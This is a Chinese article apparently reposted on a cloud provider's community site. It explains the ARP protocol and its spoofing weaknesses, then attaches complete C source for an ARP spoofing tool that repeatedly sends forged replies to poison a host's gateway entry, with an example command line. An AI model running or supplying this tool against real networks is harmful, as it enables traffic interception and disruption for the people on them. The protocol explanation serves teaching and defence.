ARP協議原理與缺陷(附ARP欺騙原始碼)

來源:互聯網
上載者:User
0 引言

IP協議之所以如此廣泛地被應用於全球,一個重要的原因就是它可以運行於幾乎所有鏈路層之上,如點對點的串列線路、環網FDDI,當然目前支撐IP協議的最普遍的鏈路層還是乙太網路。對於點對點的串列線路,只有兩個節點,沒有物理地址定義的必要;而對於像乙太網路這樣的廣播型網路,網路上的每一個節點都會有一個物理地址來唯一標示。

IP層產生的資料報必須通過實際的物理鏈路層才能變成真正的物理訊號發送出去,而往哪裡發送,在IP層取決於目的IP地址,但是鏈路層並不知道目的IP是什麼東西,它是按照目的MAC地址發送物理訊號的,所以在發送IP資料報之前必須要知道對應的目的MAC地址,這個根據IP找出對應MAC的功能就有ARP協議實現。

1 ARP包格式

為乙太網路上ARP資料報的完整格式,綠色地區就是ARP協議的內容。需要注意的是由於乙太網路的資料部分大小必須是在46-1500之間,而ARP包只有28個位元組,所以需要填充18個位元組才能滿足要求。

其中ARP對應的乙太網路框架類型值為0x0806。

ARP協議裡,鏈路層地址類型是乙太網路,值為1;網路層類型為IP,值為0x800;鏈路層地址長度為6;網路層地址長度為4;op是區分ARP請求與應答的標誌,1表示請求,2表示應答;發送端乙太網路地址表示發出本次ARP包的主機MAC,發送端IP就是發出本次ARP包的主機的IP地址;目的MAC,目的IP同上,只是表示的是接收端的情況。

2 ARP請求與應答正常流程

下面根據op的類型討論。

網路拓撲如下:

 

假設主機A不知道主機B的MAC,那麼A要發出arp請求。當op=1,表示是arp請求。arp包中此時目的MAC地址是不知道的,用0x000000000000填充,目的IP是192.168.0.101。

乙太網路包的目的MAC必須是廣播位址0xFFFFFFFFFFFF,乙太網路的源MAC和arp包的發送端MAC一樣都是主機A的MAC,即0xAAAAAAAAAAAA。主要資料如下:

以太幀源MAC: 0xAAAAAAAAAAAA

以太幀目的MAC: 0xFFFFFFFFFFFF

ARP op = 1

ARP發起端MAC:0xAAAAAAAAAAAA

ARP發起端IP:192.168.0.100

ARP目的端MAC: 0x000000000000

ARP目的端IP:192.168.0.101

 

由於是乙太網路廣播幀,所以交換器上所有的主機(除了發送的主機)(如果有Vlan功能,則必須同一Vlan)都能收到這個幀,收到幀後交予ARP模組處理,arp模組分析ARP包中的目的端IP,網關發現原生IP與之不同,那麼就簡單的丟棄;主機B發現與其自身的IP相同,於是向A主機發送ARP reply。

以太幀源MAC: 0xBBBBBBBBBBBB

以太幀目的MAC: 0xAAAAAAAAAAAA

arp op=2

ARP發起端MAC:0BBBBBBBBBBBB

ARP發起端IP:192.168.0.101

ARP目的端MAC: 0xAAAAAAAAAAAA

ARP目的端IP:192.168.0.100

此時的乙太網路幀是單播,只有A能收到,A收到後交予ARP模組處理,ARP模組提取ARP發起端IP和發起端MAC(192.168.0.101,0xBBBBBBBBBBB),將其記錄如arp快取。

3 ARP的缺陷

上面描述的是一切正常的情況,但是ARP協議不是一個安全的協議,可以人為的構造ARP包來欺騙之。

3.1 ARP 請求與應答不需要配對

主機收到arp應答時,不管以前是否發出對應的請求,均接受並更新arp緩衝。這樣就導致了,可以向任何主機發送虛假的arp應答,如:

以太幀源MAC: 0xBBBBBBBBBBBB

以太幀目的MAC: 0xAAAAAAAAAAAA

arp op=2

ARP發起端MAC:0xBBBBBBBBBBBB

ARP發起端IP:192.168.0.1

ARP目的端MAC: 0xAAAAAAAAAAAA

此時,主機B發出一個欺騙arp應答,告訴A,192.168.0.1這個IP對應的MAC是主機B。這樣A以後發往192.168.0.1的所有以太幀都發送到主機B上了。

更重要的是,arp不檢查ARP目的端MAC與目的端IP。

3.2 ARP reply也可以廣播

上面所描述的reply包都是單播的,但實際上reply包也可以是廣播,如下:

以太幀源MAC: 0xBBBBBBBBBBBB

以太幀目的MAC: 0xFFFFFFFFFFFF

arp op=2

ARP發起端MAC:0xBBBBBBBBBBBB

ARP發起端IP:192.168.0.1

ARP目的端MAC: 0xAAAAAAAAAAAA

 

此時網段內的所有主機都會被欺騙,認為網關192.168.0.1是主機B。

經過實驗驗證,WindowsXP會受到ARP reply廣播包的欺騙,但是Windows7不會,但是Windows7會受到單播reply的欺騙。

3.3 以太幀的源MAC和ARP包裡的發起端MAC可以不同

正常情況下,以太幀的源MAC和ARP包裡的發起端MAC是完全一樣的。但是實際上ARP依靠的是ARP包裡的發起端MAC,而不是以太幀的源MAC。如下:

以太幀源MAC: 0xBBBBBBBBBBBB

以太幀目的MAC: 0xFFFFFFFFFFFF

arp op=2

ARP發起端MAC:0xCCCCCCCCCCCC

ARP發起端IP:192.168.0.1

ARP目的端MAC: 0xAAAAAAAAAAAA

此時,把192.168.0.1對應到了一個MAC:CCCCCCCCCCCC,這個MAC可以是任意的。

3.4 以太幀的源MAC可以是任意的

這個其實不是ARP協議的問題了,而是乙太網路卡自身的問題。如下:

以太幀源MAC: 0x888888888888

以太幀目的MAC: 0xFFFFFFFFFFFF

arp op=2

ARP發起端MAC:0xCCCCCCCCCCCC

ARP發起端IP:192.168.0.1

ARP目的端MAC: 0xAAAAAAAAAAAA

 

此時,會造成無法尋找發起ARP欺騙的主機MAC的難題,就算是知道受騙了,也不知道是被誰欺騙的。

 

 附ARP欺騙原始碼:

#include <stdio.h>  2 #include <stdlib.h>  3 #include <string.h>  4 #include <sys/socket.h>  5 #include <netinet/in.h>  6  7 /*arp包結構*/  8 struct arp_packet  9 { 10     unsigned char hard_type[2]; 11     unsigned char pro_type[2]; 12     unsigned char hard_len; 13     unsigned char pro_len; 14     unsigned char op[2]; 15     unsigned char mac_sender[6]; 16     unsigned char ip_sender[4]; 17     unsigned char mac_target[6]; 18     unsigned char ip_target[4]; 19 } __attribute__ ((__packed__)); 20 21 /*以太包結構*/ 22 struct ethernet_packet 23 { 24     unsigned char mac_des[6]; 25     unsigned char mac_src[6]; 26     unsigned char frame_type[2]; 27     struct arp_packet arp; 28     unsigned char pad[18]; 29 } __attribute__ ((__packed__)); 30 31 /*初始化arp*/ 32 static void init_arp(struct ethernet_packet *ep) 33 { 34     ep->frame_type[0] = 0x08; 35     ep->frame_type[1] = 0x06; 36     ep->arp.hard_type[0] = 0x00; 37     ep->arp.hard_type[1] = 0x01; 38     ep->arp.pro_type[0] = 0x08; 39     ep->arp.pro_type[1] = 0x00; 40     ep->arp.hard_len = 0x6; 41     ep->arp.pro_len = 0x4; 42     ep->arp.op[0] = 0x00; 43     ep->arp.op[1] = 0x02; 44     memset(ep->pad, 0, 18); 45 } 46 47 /*16進位字元變為數字*/ 48 static unsigned char ahex_to_num(char a) 49 { 50     int num; 51     a = a | 0x20; //轉換為小寫字母 52     if(a<='9' && a>='0') {
 53         num = a - 0x30; 54     } else if(a<='f' && a>='a') { 55         num = a - 'a' + 10; 56     } else { 57         num = 0xFF; 58     } 59     return num; 60 } 61 /*MAC地址字串變為數字 62  *傳回值: 0--成功;其他--失敗 63  * */ 64 static int get_mac_from_asci(char a_mac[12], unsigned char h_mac[6]) 65 { 66     int i=0; 67     for(i=0; i<12; i+=2) { 68         if((a_mac[i]>='0' && a_mac[i]<='9') || (a_mac[i]|0x20>='a' && a_mac[i]|0x20<='f')) { 69             h_mac[i/2] = 16 * ahex_to_num(a_mac[i]) + ahex_to_num(a_mac[i+1]); 70         } else { 71             printf("MAC地址格式:AABBCCDDFFGG\n"); 72             return -1; 73         } 74     } 75     return 0; 76 } 77 /*構建arp, 傳回值:0--成功*/ 78 int  build_arp(struct ethernet_packet *ep, char* e_mac_src, char* e_mac_des, char* arp_mac_send, char* arp_ip_send, char* arp_mac_tgt, char* arp_ip_tgt) 79 { 80     init_arp(ep); 81     struct in_addr inaddr; 82     if(0==inet_aton(arp_ip_tgt, &inaddr)){ 83         printf("目的ip地址輸入錯誤\n"); 84         return -1; 85     } 86     memcpy((void*)ep->arp.ip_target,  (void*)&inaddr, 4); 87     if(0==inet_aton(arp_ip_send, &inaddr)){ 88         printf("發起ip地址輸入錯誤\n"); 89         return -2; 90     } 91     memcpy((void*)ep->arp.ip_sender,  (void*)&inaddr, 4); 92 93     if(get_mac_from_asci(e_mac_src, ep->mac_src) || 94             get_mac_from_asci(e_mac_des, ep->mac_des) || 95             get_mac_from_asci(arp_mac_send, ep->arp.mac_sender)|| 96             get_mac_from_asci(arp_mac_tgt, ep->arp.mac_target)) { 97         printf("讀取MAC地址出錯\n"); 98         return -1; 99     }100 }
101 int main(int argc, char** argv)102 {103     struct ethernet_packet ep;104     if(build_arp(&ep, argv[1], argv[2], argv[3], argv[4], argv[5], argv[6])) {105         printf("Usage: marp mac_src mac_des mac_send ip_send mac_tgt ip_tgt\n");106         return -1;107     }108     printf("成功了,啦啦啦\n");109110     int fd = socket(AF_INET, SOCK_PACKET, htons(0x0806));111     if(fd<0) {112         perror("socket");113         exit(-1);114     }115     struct sockaddr sa;116     strcpy(sa.sa_data, "eth0");117     while(1) {118         sendto(fd, &ep, sizeof(ep), 0, &sa, sizeof(sa));119         sleep(5);120     }121     close(fd);122     return 0;123 }

 

執行格式為:marp 乙太網路幀源MAC 乙太網路幀目的MAC ARP包發起MAC ARP包發起IP ARP包目的MAC ARP包目的IP,如:
 ./marp  000C29BEE91F  FFFFFFFFFFFF  000C29BEE91F 172.16.35.254 00016C57C0FC 172.16.35.220

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.